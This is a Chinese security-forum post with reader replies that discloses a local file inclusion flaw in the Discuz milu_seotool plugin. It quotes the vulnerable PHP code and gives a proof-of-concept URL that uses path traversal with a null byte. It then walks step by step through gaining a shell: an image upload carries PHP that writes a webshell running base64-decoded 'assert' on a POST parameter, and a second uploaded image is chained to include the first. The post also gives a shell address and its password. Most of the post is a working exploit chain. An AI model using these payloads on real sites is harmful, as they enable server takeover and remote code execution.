Discuz 插件本地文件包含漏洞 getshell(milu_seotool插件)
本帖最后由 浩森 于 2014-8-21 23:25 编辑milu_seotool(站长工具)插件,漏洞存在于milu_seotool/lib/fuction.global.php中,部分代码
function seo_tpl($args = array()){
global $_S;
extract((array)$args);
sload('C:seoOutput');
$head_url = '?'.PLUGIN_GO.$_GET['pmod'].'&myac=';
$myac = $_GET['myac'];
$tpl = $_GET['tpl'];
if(empty($myac)) $myac = $default_ac ? $default_ac : $_GET['pmod'].'_run';
if(function_exists($myac)) $info = $myac();
$_GET['mytemp'] = $_GET['mytemp'] ? $_GET['mytemp'] : $info['tpl'];
$mytemp = $_GET['mytemp'] ? $_GET['mytemp'] : $myac;
if(!$_GET['inajax']){
$_S['set'] = st_get_pluin_set();
$submit_pmod = $info['submit_pmod'] ? $info['submit_pmod'] : $_GET['pmod'];
$submit_action = $info['submit_action'] ? $info['submit_action'] : $myac;
$info['header'] = seoOutput::pick_header_output();
if(!$tpl && $tpl!= 'no') include template('milu_seotool:'.$mytemp);
很明显myac变量没过滤,可控,导致文件包含。
包含robots.txt
POC:
HTTP://www.ihonker.org//plugin.php?id=milu_seotool:sitemap&myac=../../robots.txt%00
前台上传图片马,包含以下代码
<?php file_put_contents("./08sec.php",'<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>');?>
在这有个坑,本以为包含这个图片马 http://www.ihonker.org//plugin.php?id=milu_seotool:sitemap&myac=../../[图片路径]%00
会在根目录生成08sec.php,结果没成功。代码没有执行
最后想了个办法,继续上传图片,包含以下代码
<?php
phpinfo();
VAR_dump(include('./data/attachment/album/201408/01/215507deep1gg1pda8edzk.jpg'));
?>
这个地方include我们之前上传的图片马,成功看到phpinfo ,代码执行了。
这个是直接包含图片马,如图
显示空白。
继续上传图片,包含之前上传的图片马,效果如下:
成功执行.
shell地址:http://www.ihonker.org/08.php。密码c.
ps:在新版的站长工具中漏洞已修复,好像是1.5版本修复的。
修复了的效果如图:
神仙大大,我不会排版,不要打我 - -。
一楼围观大黑阔 二楼围观大黑阔 有点意思,等会测试下 Discuz! X3.2的不行的。 是上传说明里面包含代码么,还是图片写入代码 问题是后台的插件要系统管理员才会有那个权限, lyrric 发表于 2014-8-22 10:45
问题是后台的插件要系统管理员才会有那个权限,
这个不是后台 ,普通会员前台上传图片马 然后包含就行了 夜尽天明 发表于 2014-8-22 10:16
是上传说明里面包含代码么,还是图片写入代码
图片写入代码 谢谢分享:lol